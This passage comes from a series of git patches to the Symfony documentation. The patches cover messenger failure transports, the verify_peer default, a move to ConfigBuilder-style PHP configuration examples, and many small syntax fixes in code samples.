+                        'dsn' => 'doctrine://default?queue_name=async_priority_low',
+                    ],
+                    'failed_default' => [
+                        'dsn' => 'doctrine://default?queue_name=failed_default',
+                    ],
+                    'failed_high_priority' => [
+                        'dsn' => 'doctrine://default?queue_name=failed_high_priority',
+                    ],
+                ],
+            ],
+        ]);
+
+If there is no ``failure_transport`` defined globally or on the transport level,
+the messages will be discarded after the number of retries.
+
+The failed commands have an optional option ``--transport`` to specify
+the ``failure_transport`` configured at the transport level.
+
+.. code-block:: terminal
+
+    # see all messages in "failure_transport" transport
+    $ php bin/console messenger:failed:show --transport=failure_transport
+
+    # retry specific messages from "failure_transport"
+    $ php bin/console messenger:failed:retry 20 30 --transport=failure_transport --force
+
+    # remove a message without retrying it from "failure_transport"
+    $ php bin/console messenger:failed:remove 20 --transport=failure_transport
+
 .. _messenger-transports-config:
 
 Transport Configuration

From 496a282b76a5e1cb1d9031794ae8f83814e33c6a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 20 Apr 2021 17:59:15 +0200
Subject: [PATCH 2104/7107] Added the versionadded directive

---
 messenger.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 2cb3361c483..4a68b0dc2a7 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -875,6 +875,10 @@ retry has been hit, the message will be discarded permanently.
 Multiple Failed Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
+.. versionadded:: 5.3
+
+    The possibility to use multiple failed transports was introduced in Symfony 5.3.
+
 Sometimes it is not enough to have a single, global ``failed transport`` configured
 because some messages are more important than others. In those cases, you can
 override the failure transport for only specific transports:

From 46e97802adfe5f6b28f4e089ec5a055b3af60304 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 20 Apr 2021 19:01:15 +0200
Subject: [PATCH 2105/7107] Adding default value for verify_peer

It's also missing for verify_host - but I don't know the default value there ;-)
---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index a55b9816a6e..6ea1c37f439 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1046,7 +1046,7 @@ combined with ``verify_peer`` to also verify the certificate authenticity.
 verify_peer
 ...........
 
-**type**: ``boolean``
+**type**: ``boolean`` **default**: ``true``
 
 If ``true``, the certificate sent by other servers when negotiating a TLS or SSL
 connection is verified for authenticity. Authenticating the certificate is not

From 8680173ac5339cbecdaab3444f3425551e627ab7 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Mon, 19 Apr 2021 18:08:33 +0200
Subject: [PATCH 2106/7107] Start using ConfigBuilder

---
 forms.rst      | 20 ++++++++++----------
 routing.rst    | 11 +++++------
 serializer.rst | 11 +++++------
 session.rst    | 32 ++++++++++++++++++--------------
 templates.rst  | 38 +++++++++++++++++++++-----------------
 5 files changed, 59 insertions(+), 53 deletions(-)

diff --git a/forms.rst b/forms.rst
index c5e41222104..b6c63773452 100644
--- a/forms.rst
+++ b/forms.rst
@@ -345,13 +345,13 @@ can set this option to generate forms compatible with the Bootstrap 4 CSS framew
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
-            'form_themes' => [
-                'bootstrap_4_layout.html.twig',
-            ],
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            $twig->formThemes(['bootstrap_4_layout.html.twig']);
 
             // ...
-        ]);
+        };
 
 The :ref:`built-in Symfony form themes <symfony-builtin-forms>` include
 Bootstrap 3 and 4 as well as Foundation 5 and 6. You can also
@@ -627,11 +627,11 @@ these new messages set the ``legacy_error_messages`` option to ``false``:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'form' => [
-                'legacy_error_messages' => false,
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->form()->legacyErrorMessages(false);
+        };
 
 Other Common Form Features
 --------------------------
diff --git a/routing.rst b/routing.rst
index 9aad1ac3c58..487d2ecc587 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2508,12 +2508,11 @@ The solution is to configure the ``default_uri`` option to define the
     .. code-block:: php
 
         // config/packages/routing.php
-        $container->loadFromExtension('framework', [
-            'router' => [
-                // ...
-                'default_uri' => "https://example.org/my/path/",
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->router()->defaultUri('https://example.org/my/path/');
+        };
 
 .. versionadded:: 5.1
 
diff --git a/serializer.rst b/serializer.rst
index 980bf5708ab..8cae58c5838 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -259,12 +259,11 @@ value:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            // ...
-            'serializer' => [
-                'name_converter' => 'serializer.name_converter.camel_case_to_snake_case',
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->serializer()->nameConverter('serializer.name_converter.camel_case_to_snake_case');
+        };
 
 Going Further with the Serializer
 ---------------------------------
diff --git a/session.rst b/session.rst
index 5a3fb69c09b..8f3fba95b30 100644
--- a/session.rst
+++ b/session.rst
@@ -55,18 +55,20 @@ sessions, check their default configuration:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'session' => [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->session()
                 // enables the support of sessions in the app
-                'enabled' => true,
+                ->enabled(true)
                 // ID of the service used for session storage
                 // NULL means that Symfony uses PHP default session mechanism
-                'handler_id' => null,
+                ->handlerId(null)
                 // improves the security of the cookies used for sessions
-                'cookie_secure' => 'auto',
-                'cookie_samesite' => 'lax',
-            ],
-        ]);
+                ->cookieSecure('auto')
+                ->cookieSamesite('lax')
+            ;
+        };
 
 Setting the ``handler_id`` config option to ``null`` means that Symfony will
 use the native PHP session mechanism. The session metadata files will be stored
@@ -112,13 +114,15 @@ session metadata files:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'session' => [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->session()
                 // ...
-                'handler_id' => 'session.handler.native_file',
-                'save_path' => '%kernel.project_dir%/var/sessions/%kernel.environment%',
-            ],
-        ]);
+                ->handlerId('session.handler.native_file')
+                ->savePath('%kernel.project_dir%/var/sessions/%kernel.environment%')
+            ;
+        };
 
 Check out the Symfony config reference to learn more about the other available
 :ref:`Session configuration options <config-framework-session>`. You can also
diff --git a/templates.rst b/templates.rst
index 9f1f5233b34..af18a438484 100644
--- a/templates.rst
+++ b/templates.rst
@@ -824,10 +824,12 @@ template fragments. Configure that special URL in the ``fragments`` option:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'fragments' => ['path' => '/_fragment'],
-        ]);
+            $framework->fragments()->path('/_fragment');
+        };
 
 .. caution::
 
@@ -1043,15 +1045,16 @@ the ``value`` is the Twig namespace, which is explained later:
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
             // ...
-            'paths' => [
-                // directories are relative to the project root dir (but you
-                // can also use absolute directories)
-                'email/default/templates' => null,
-                'backend/templates' => null,
-            ],
-        ]);
+
+            // directories are relative to the project root dir (but you
+            // can also use absolute directories)
+            $twig->path('email/default/templates', null);
+            $twig->path('backend/templates', null);
+        };
 
 When rendering a template, Symfony looks for it first in the ``twig.paths``
 directories that don't define a namespace and then falls back to the default
@@ -1098,13 +1101,14 @@ configuration to define a namespace for each template directory:
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
             // ...
-            'paths' => [
-                'email/default/templates' => 'email',
-                'backend/templates' => 'admin',
-            ],
-        ]);
+
+            $twig->path('email/default/templates', 'email');
+            $twig->path('backend/templates', 'admin');
+        };
 
 Now, if you render the ``layout.html.twig`` template, Symfony will render the
 ``templates/layout.html.twig`` file. Use the special syntax ``@`` + namespace to

From 2a9103c1f1c5a6e22a706f6b008939cfef9a2c71 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Tue, 20 Apr 2021 18:21:48 +0200
Subject: [PATCH 2107/7107] Fixed syntax errors on 4.4

---
 components/console/helpers/formatterhelper.rst |  8 ++++++--
 components/console/helpers/table.rst           |  4 ++--
 components/dom_crawler.rst                     |  4 +++-
 components/event_dispatcher.rst                |  2 +-
 components/filesystem.rst                      |  2 +-
 components/http_foundation.rst                 |  2 +-
 components/intl.rst                            | 10 +++++-----
 components/lock.rst                            |  4 ++--
 components/options_resolver.rst                |  2 +-
 components/phpunit_bridge.rst                  |  4 ++--
 components/security/authorization.rst          |  2 +-
 components/serializer.rst                      |  4 +++-
 components/validator/resources.rst             |  2 +-
 components/workflow.rst                        |  4 ++--
 configuration/override_dir_structure.rst       |  2 +-
 configuration/using_parameters_in_dic.rst      |  4 ++--
 contributing/code/conventions.rst              |  8 ++++++--
 controller/soap_web_service.rst                |  2 +-
 create_framework/front_controller.rst          |  4 +++-
 create_framework/routing.rst                   |  8 ++++++--
 doctrine/custom_dql_functions.rst              | 18 ++++++++----------
 form/create_form_type_extension.rst            |  4 ----
 form/data_transformers.rst                     |  2 +-
 form/type_guesser.rst                          |  2 +-
 form/validation_group_service_resolver.rst     |  2 +-
 forms.rst                                      |  2 +-
 http_client.rst                                |  2 +-
 introduction/from_flat_php_to_symfony.rst      |  2 +-
 mercure.rst                                    |  7 ++++---
 migration.rst                                  |  4 ++--
 reference/configuration/framework.rst          |  8 ++++++--
 reference/constraints/Traverse.rst             |  2 +-
 service_container.rst                          | 18 +++++++++++-------
 setup/homestead.rst                            |  4 +++-
 templating/PHP.rst                             | 12 +++++++++---
 templating/hinclude.rst                        |  2 +-
 testing.rst                                    |  2 +-
 translation.rst                                |  4 +++-
 38 files changed, 105 insertions(+), 74 deletions(-)

diff --git a/components/console/helpers/formatterhelper.rst b/components/console/helpers/formatterhelper.rst
index ba3c2743d24..ad2bded040b 100644
--- a/components/console/helpers/formatterhelper.rst
+++ b/components/console/helpers/formatterhelper.rst
@@ -78,7 +78,9 @@ you can write::
     $truncatedMessage = $formatter->truncate($message, 7);
     $output->writeln($truncatedMessage);
 
-And the output will be::
+And the output will be:
+
+.. code-block:: text
 
     This is...
 
@@ -93,7 +95,9 @@ from the end of the string::
 
     $truncatedMessage = $formatter->truncate($message, -5);
 
-This will result in::
+This will result in:
+
+.. code-block:: text
 
     This is a very long message, which should be trun...
 
diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index 45336c1175e..b59abe1d73a 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -72,8 +72,8 @@ You can add a table separator anywhere in the output by passing an instance of
 You can optionally display titles at the top and the bottom of the table::
 
     // ...
-    $table->setHeaderTitle('Books')
-    $table->setFooterTitle('Page 1/2')
+    $table->setHeaderTitle('Books');
+    $table->setFooterTitle('Page 1/2');
     $table->render();
 
 .. code-block:: terminal
diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 93aba242eaf..fd35b5e7fd8 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -555,7 +555,9 @@ You can virtually set and get values on the form::
     // where "registration" is its own array
     $values = $form->getPhpValues();
 
-To work with multi-dimensional fields::
+To work with multi-dimensional fields:
+
+.. code-block:: html
 
     <form>
         <input name="multi[]"/>
diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index ef0392e6dfc..0331c3320be 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -238,7 +238,7 @@ determine which instance is passed.
         $containerBuilder->addCompilerPass(new AddEventAliasesPass([
             \AcmeFooActionEvent::class => 'acme.foo.action',
         ]));
-        $containerBuilder->addCompilerPass(new RegisterListenersPass(), PassConfig::TYPE_BEFORE_REMOVING)
+        $containerBuilder->addCompilerPass(new RegisterListenersPass(), PassConfig::TYPE_BEFORE_REMOVING);
 
         $containerBuilder->register('event_dispatcher', EventDispatcher::class);
 
diff --git a/components/filesystem.rst b/components/filesystem.rst
index 4b09bc4cd7e..d43632b9de6 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -252,7 +252,7 @@ absolute paths and returns the relative path from the second path to the first o
         '/var/lib/symfony/src/Symfony/Component'
     );
     // returns 'videos/'
-    $filesystem->makePathRelative('/tmp/videos', '/tmp')
+    $filesystem->makePathRelative('/tmp/videos', '/tmp');
 
 ``mirror``
 ~~~~~~~~~~
diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index cbb1742dad1..4ebce4526f0 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -547,7 +547,7 @@ represented by a PHP callable instead of a string::
     header in the response::
 
         // disables FastCGI buffering in nginx only for this response
-        $response->headers->set('X-Accel-Buffering', 'no')
+        $response->headers->set('X-Accel-Buffering', 'no');
 
 .. _component-http-foundation-serving-files:
 
diff --git a/components/intl.rst b/components/intl.rst
index dae70440cf5..d66370218c9 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -11,7 +11,7 @@ The Intl Component
 .. caution::
 
     The replacement layer is limited to the ``en`` locale. If you want to use
-    other locales, you should `install the intl extension`_. There is no conflict 
+    other locales, you should `install the intl extension`_. There is no conflict
     between the two because, even if you use the extension, this package can still
     be useful to access the ICU data.
 
@@ -231,9 +231,9 @@ Locales
 ~~~~~~~
 
 A locale is the combination of a language, a region and some parameters that
-define the interface preferences of the user. For example, "Chinese" is the 
-language and ``zh_Hans_MO`` is the locale for "Chinese" (language) + "Simplified" 
-(script) + "Macau SAR China" (region). The ``Locales`` class provides access to 
+define the interface preferences of the user. For example, "Chinese" is the
+language and ``zh_Hans_MO`` is the locale for "Chinese" (language) + "Simplified"
+(script) + "Macau SAR China" (region). The ``Locales`` class provides access to
 the name of all locales::
 
     use Symfony\Component\Intl\Locales;
@@ -351,7 +351,7 @@ translate into any locale with the ``getName()`` method shown earlier::
 The reverse lookup is also possible thanks to the ``getCountryCode()`` method,
 which returns the code of the country where the given timezone ID belongs to::
 
-    $countryCode = Timezones::getCountryCode('America/Vancouver')
+    $countryCode = Timezones::getCountryCode('America/Vancouver');
     // => $countryCode = 'CA' (CA = Canada)
 
 The `UTC/GMT time offsets`_ of all timezones are provided by ``getRawOffset()``
diff --git a/components/lock.rst b/components/lock.rst
index e0baecd9560..25ad931a4e4 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -63,7 +63,7 @@ method can be safely called repeatedly, even if the lock is already acquired.
 
     Unlike other implementations, the Lock Component distinguishes lock
     instances even when they are created for the same resource. It means that for
-    a given scope and resource one lock instance can be acquired multiple times. 
+    a given scope and resource one lock instance can be acquired multiple times.
     If a lock has to be used by several services, they should share the same ``Lock``
     instance returned by the ``LockFactory::createLock`` method.
 
@@ -223,7 +223,7 @@ Lock will be released automatically as soon as one process finishes::
         sleep(30);
     } else {
         // Child process
-        echo 'The lock will be released now.'
+        echo 'The lock will be released now.';
         exit(0);
     }
     // ...
diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index a88c9f95d31..7fda38acc07 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -511,7 +511,7 @@ the closure::
 
             $resolver->setDefault('host', function (Options $options, $previousValue) {
                 if ('ssl' === $options['encryption']) {
-                    return 'secure.example.org'
+                    return 'secure.example.org';
                 }
 
                 // Take default value configured in the base class
diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 284dae4d816..e9b98f7501d 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -629,7 +629,7 @@ constraint to test the validity of the email domain::
     {
         public function testEmail()
         {
-            $validator = ...
+            $validator = ...;
             $constraint = new Email(['checkMX' => true]);
 
             $result = $validator->validate('foo@example.com', $constraint);
@@ -654,7 +654,7 @@ the data you expect to get for the given hosts::
         {
             DnsMock::withMockedHosts(['example.com' => [['type' => 'MX']]]);
 
-            $validator = ...
+            $validator = ...;
             $constraint = new Email(['checkMX' => true]);
 
             $result = $validator->validate('foo@example.com', $constraint);
diff --git a/components/security/authorization.rst b/components/security/authorization.rst
index f6a8776aa7b..d1df7d1f8bb 100644
--- a/components/security/authorization.rst
+++ b/components/security/authorization.rst
@@ -188,7 +188,7 @@ expressions have access to a number of
 
     $expression = new Expression(
         '"ROLE_ADMIN" in roles or (not is_anonymous() and user.isSuperAdmin())'
-    )
+    );
 
     $vote = $expressionVoter->vote($token, $object, [$expression]);
 
diff --git a/components/serializer.rst b/components/serializer.rst
index 783f293e83d..bae2c262213 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -901,7 +901,9 @@ For example, take an object normalized as following::
 
     ['foo' => [1, 2], 'bar' => true];
 
-The ``XmlEncoder`` will encode this object like that::
+The ``XmlEncoder`` will encode this object like that:
+
+.. code-block:: xml
 
     <?xml version="1.0" encoding="UTF-8" ?>
     <response>
diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index 1455c2518bc..4de84a7cb49 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -155,7 +155,7 @@ implement the PSR-6 interface :class:`Psr\\Cache\\CacheItemPoolInterface`)::
 
     $validator = Validation::createValidatorBuilder()
         // ... add loaders
-        ->setMappingCache(new SomePsr6Cache());
+        ->setMappingCache(new SomePsr6Cache())
         ->getValidator();
 
 .. versionadded:: 4.4
diff --git a/components/workflow.rst b/components/workflow.rst
index 493b4230124..67b00730b69 100644
--- a/components/workflow.rst
+++ b/components/workflow.rst
@@ -68,8 +68,8 @@ are trying to use it with::
     use Symfony\Component\Workflow\Registry;
     use Symfony\Component\Workflow\SupportStrategy\InstanceOfSupportStrategy;
 
-    $blogPostWorkflow = ...
-    $newsletterWorkflow = ...
+    $blogPostWorkflow = ...;
+    $newsletterWorkflow = ...;
 
     $registry = new Registry();
     $registry->addWorkflow($blogPostWorkflow, new InstanceOfSupportStrategy(BlogPost::class));
diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index e832daeb030..050b5d58653 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -230,7 +230,7 @@ option in your ``composer.json`` file like this:
         "config": {
             "bin-dir": "bin",
             "vendor-dir": "/some/dir/vendor"
-        },
+        }
     }
 
 .. tip::
diff --git a/configuration/using_parameters_in_dic.rst b/configuration/using_parameters_in_dic.rst
index 329061a137f..6bdf07ff886 100644
--- a/configuration/using_parameters_in_dic.rst
+++ b/configuration/using_parameters_in_dic.rst
@@ -85,8 +85,8 @@ Now, examine the results to see this closely:
                 // true/false (depends on 2nd parameter of Kernel),
                 // as expected, because %kernel.debug% inside configuration
                 // gets evaluated before being passed to the extension
-            )
-        ];
+            ]
+        );
 
         $container->loadFromExtension('my_bundle');
         // passes the string "%kernel.debug%".
diff --git a/contributing/code/conventions.rst b/contributing/code/conventions.rst
index 62bf4217044..e09fc3fbabb 100644
--- a/contributing/code/conventions.rst
+++ b/contributing/code/conventions.rst
@@ -188,7 +188,9 @@ after the use declarations, like in this example from
 
 .. _`ServiceRouterLoader`: https://github.com/symfony/symfony/blob/4.4/src/Symfony/Component/Routing/Loader/DependencyInjection/ServiceRouterLoader.php
 
-The deprecation must be added to the ``CHANGELOG.md`` file of the impacted component::
+The deprecation must be added to the ``CHANGELOG.md`` file of the impacted component:
+
+.. code-block:: markdown
 
     4.4
     ---
@@ -196,7 +198,9 @@ The deprecation must be added to the ``CHANGELOG.md`` file of the impacted compo
     * Deprecate the `Deprecated` class, use `Replacement` instead
 
 It must also be added to the ``UPGRADE.md`` file of the targeted minor version
-(``UPGRADE-4.4.md`` in our example)::
+(``UPGRADE-4.4.md`` in our example):
+
+.. code-block:: markdown
 
     DependencyInjection
     -------------------
diff --git a/controller/soap_web_service.rst b/controller/soap_web_service.rst
index 37c72316878..12d01cd0ec1 100644
--- a/controller/soap_web_service.rst
+++ b/controller/soap_web_service.rst
@@ -39,7 +39,7 @@ In this case, the SOAP service will allow the client to call a method called
         public function hello($name)
         {
 
-            $message = new \Swift_Message('Hello Service')
+            $message = (new \Swift_Message('Hello Service'))
                 ->setTo('me@example.com')
                 ->setBody($name.' says hi!');
 
diff --git a/create_framework/front_controller.rst b/create_framework/front_controller.rst
index e6a7293fa6b..e14f9f16d07 100644
--- a/create_framework/front_controller.rst
+++ b/create_framework/front_controller.rst
@@ -185,7 +185,9 @@ the ``setContent()`` directly from the front controller script::
 
     // ...
 
-And the ``hello.php`` script can now be converted to a template::
+And the ``hello.php`` script can now be converted to a template:
+
+.. code-block:: html+php
 
     <!-- example.com/src/pages/hello.php -->
     <?php $name = $request->get('name', 'World') ?>
diff --git a/create_framework/routing.rst b/create_framework/routing.rst
index d381daed2eb..f76167ec2fb 100644
--- a/create_framework/routing.rst
+++ b/create_framework/routing.rst
@@ -30,7 +30,9 @@ framework just a little to make templates even more readable::
     $response->send();
 
 As we now extract the request query parameters, simplify the ``hello.php``
-template as follows::
+template as follows:
+
+.. code-block:: html+php
 
     <!-- example.com/src/pages/hello.php -->
     Hello <?= htmlspecialchars(isset($name) ? $name : 'World', ENT_QUOTES, 'UTF-8') ?>
@@ -161,7 +163,9 @@ There are a few new things in the code:
 
 * ``500`` errors are now managed correctly;
 
-* Request attributes are extracted to keep our templates simple::
+* Request attributes are extracted to keep our templates simple:
+
+.. code-block:: html+php
 
     // example.com/src/pages/hello.php
     Hello <?= htmlspecialchars($name, ENT_QUOTES, 'UTF-8') ?>
diff --git a/doctrine/custom_dql_functions.rst b/doctrine/custom_dql_functions.rst
index 9485509da49..ee11967da47 100644
--- a/doctrine/custom_dql_functions.rst
+++ b/doctrine/custom_dql_functions.rst
@@ -131,16 +131,14 @@ In Symfony, you can register your custom DQL functions as follows:
             use App\DQL\DatetimeFunction;
 
             $container->loadFromExtension('doctrine', [
-                'doctrine' => [
-                    'orm' => [
-                        // ...
-                        'entity_managers' => [
-                            'example_manager' => [
-                                // place your functions here
-                                'dql' => [
-                                    'datetime_functions' => [
-                                        'test_datetime' => DatetimeFunction::class,
-                                    ],
+                'orm' => [
+                    // ...
+                    'entity_managers' => [
+                        'example_manager' => [
+                            // place your functions here
+                            'dql' => [
+                                'datetime_functions' => [
+                                    'test_datetime' => DatetimeFunction::class,
                                 ],
                             ],
                         ],
diff --git a/form/create_form_type_extension.rst b/form/create_form_type_extension.rst
index 55d3d34776f..37e46dc9a64 100644
--- a/form/create_form_type_extension.rst
+++ b/form/create_form_type_extension.rst
@@ -191,14 +191,10 @@ Specifically, you need to override the ``file_widget`` block:
     {% extends 'form_div_layout.html.twig' %}
 
     {% block file_widget %}
-        {% spaceless %}
-
         {{ block('form_widget') }}
         {% if image_url is not null %}
             <img src="{{ asset(image_url) }}"/>
         {% endif %}
-
-        {% endspaceless %}
     {% endblock %}
 
 Be sure to :ref:`configure this form theme template <forms-theming-global>` so that
diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index aa0e88789bf..c21976dadce 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -208,7 +208,7 @@ to and from the issue number and the ``Issue`` object::
         {
             // no issue number? It's optional, so that's ok
             if (!$issueNumber) {
-                return;
+                return null;
             }
 
             $issue = $this->entityManager
diff --git a/form/type_guesser.rst b/form/type_guesser.rst
index 49488e524ba..b2b556e51f9 100644
--- a/form/type_guesser.rst
+++ b/form/type_guesser.rst
@@ -101,7 +101,7 @@ With this knowledge, you can implement the ``guessType()`` method of the
             $annotations = $this->readPhpDocAnnotations($class, $property);
 
             if (!isset($annotations['var'])) {
-                return; // guess nothing if the @var annotation is not available
+                return null; // guess nothing if the @var annotation is not available
             }
 
             // otherwise, base the type on the @var annotation
diff --git a/form/validation_group_service_resolver.rst b/form/validation_group_service_resolver.rst
index ad741fbdb3a..e9ad7a67724 100644
--- a/form/validation_group_service_resolver.rst
+++ b/form/validation_group_service_resolver.rst
@@ -39,7 +39,7 @@ Then in your form, inject the resolver and set it as the ``validation_groups``::
     namespace App\Form;
 
     use App\Validator\ValidationGroupResolver;
-    use Symfony\Component\Form\AbstractType
+    use Symfony\Component\Form\AbstractType;
     use Symfony\Component\OptionsResolver\OptionsResolver;
 
     class MyClassType extends AbstractType
diff --git a/forms.rst b/forms.rst
index 289e1a194b0..9b88f598fa1 100644
--- a/forms.rst
+++ b/forms.rst
@@ -592,7 +592,7 @@ argument of ``createForm()``::
         {
             $task = new Task();
             // use some PHP logic to decide if this form field is required or not
-            $dueDateIsRequired = ...
+            $dueDateIsRequired = ...;
 
             $form = $this->createForm(TaskType::class, $task, [
                 'require_due_date' => $dueDateIsRequired,
diff --git a/http_client.rst b/http_client.rst
index da1595dbac7..81f33d8308d 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -885,7 +885,7 @@ To abort a request (e.g. because it didn't complete in due time, or you want to
 fetch only the first bytes of the response, etc.), you can either use the
 ``cancel()`` method of ``ResponseInterface``::
 
-    $response->cancel()
+    $response->cancel();
 
 Or throw an exception from a progress callback::
 
diff --git a/introduction/from_flat_php_to_symfony.rst b/introduction/from_flat_php_to_symfony.rst
index bbfd252de7c..d6d631d6857 100644
--- a/introduction/from_flat_php_to_symfony.rst
+++ b/introduction/from_flat_php_to_symfony.rst
@@ -580,7 +580,7 @@ and uses Twig:
 
 .. code-block:: html+twig
 
-    <!-- templates/blog/list.html.twig -->
+    {# templates/blog/list.html.twig #}
     {% extends 'base.html.twig' %}
 
     {% block title %}List of Posts{% endblock %}
diff --git a/mercure.rst b/mercure.rst
index 82279c3be63..85c814b5741 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -622,7 +622,7 @@ You can instead make use of the `MockHub`::
 
             $controller = new MessageController($hub);
 
-            ...
+            // ...
         }
     }
 
@@ -645,13 +645,14 @@ During functional testing you can instead decorate the Hub::
     }
 
 HubStub decorates the default hub service so no updates are actually
-sent. Here is the HubStub implementation::
+sent. Here is the HubStub implementation:
+
+.. code-block:: yaml
 
     # config/services_test.yaml
     App\Tests\Functional\Fixtures\HubStub:
         decorates: mercure.hub.default
 
-
 Debugging
 ---------
 
diff --git a/migration.rst b/migration.rst
index 8c6117de25c..5f4089656dd 100644
--- a/migration.rst
+++ b/migration.rst
@@ -313,11 +313,11 @@ somewhat like this::
 
     class LegacyBridge
     {
-        public static function prepareLegacyScript(Request $request, Response $response, string $publicDirectory): string
+        public static function prepareLegacyScript(Request $request, Response $response, string $publicDirectory): ?string
         {
             // If Symfony successfully handled the route, you do not have to do anything.
             if (false === $response->isNotFound()) {
-                return;
+                return null;
             }
 
             // Figure out how to map to the needed script file
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index a55b9816a6e..21fc64bd212 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -415,7 +415,9 @@ Since every developer uses a different IDE, the recommended way to enable this
 feature is to configure it on a system level. This can be done by setting the
 ``xdebug.file_link_format`` option in your ``php.ini`` configuration file. The
 format to use is the same as for the ``framework.ide`` option, but without the
-need to escape the percent signs (``%``) by doubling them::
+need to escape the percent signs (``%``) by doubling them:
+
+.. code-block:: ini
 
     // example for PhpStorm
     xdebug.file_link_format="phpstorm://open?file=%f&line=%l"
@@ -438,7 +440,9 @@ need to escape the percent signs (``%``) by doubling them::
     When running your app in a container or in a virtual machine, you can tell
     Symfony to map files from the guest to the host by changing their prefix.
     This map should be specified at the end of the URL template, using ``&`` and
-    ``>`` as guest-to-host separators::
+    ``>`` as guest-to-host separators:
+
+    .. code-block:: text
 
         // /path/to/guest/.../file will be opened
         // as /path/to/host/.../file on the host
diff --git a/reference/constraints/Traverse.rst b/reference/constraints/Traverse.rst
index aea7e051ee1..99449d12999 100644
--- a/reference/constraints/Traverse.rst
+++ b/reference/constraints/Traverse.rst
@@ -27,7 +27,7 @@ that all have constraints on their properties.
         namespace App\Entity;
 
         use Doctrine\Collections\ArrayCollection;
-        use Doctrine\Collections\Collection
+        use Doctrine\Collections\Collection;
         use Doctrine\ORM\Mapping as ORM;
         use Symfony\Component\Validator\Constraints as Assert;
 
diff --git a/service_container.rst b/service_container.rst
index 21aa508b897..e40c07a3587 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -341,18 +341,21 @@ you can type-hint the new ``SiteUpdateManager`` class and use it::
     // src/Controller/SiteController.php
     namespace App\Controller;
 
-    // ...
     use App\Service\SiteUpdateManager;
+    // ...
 
-    public function new(SiteUpdateManager $siteUpdateManager)
+    class SiteController extends AbstractController
     {
-        // ...
+        public function new(SiteUpdateManager $siteUpdateManager)
+        {
+            // ...
 
-        if ($siteUpdateManager->notifyOfSiteUpdate()) {
-            $this->addFlash('success', 'Notification mail was sent successfully.');
-        }
+            if ($siteUpdateManager->notifyOfSiteUpdate()) {
+                $this->addFlash('success', 'Notification mail was sent successfully.');
+            }
 
-        // ...
+            // ...
+        }
     }
 
 Thanks to autowiring and your type-hints in ``__construct()``, the container creates
@@ -867,6 +870,7 @@ This is mostly useful when you want to fetch services lazily::
 
             // ...
         }
+    }
 
 As a best practice, you should only create *private* services. This allows for
 safe container optimizations, e.g. removing unused services. You should not use
diff --git a/setup/homestead.rst b/setup/homestead.rst
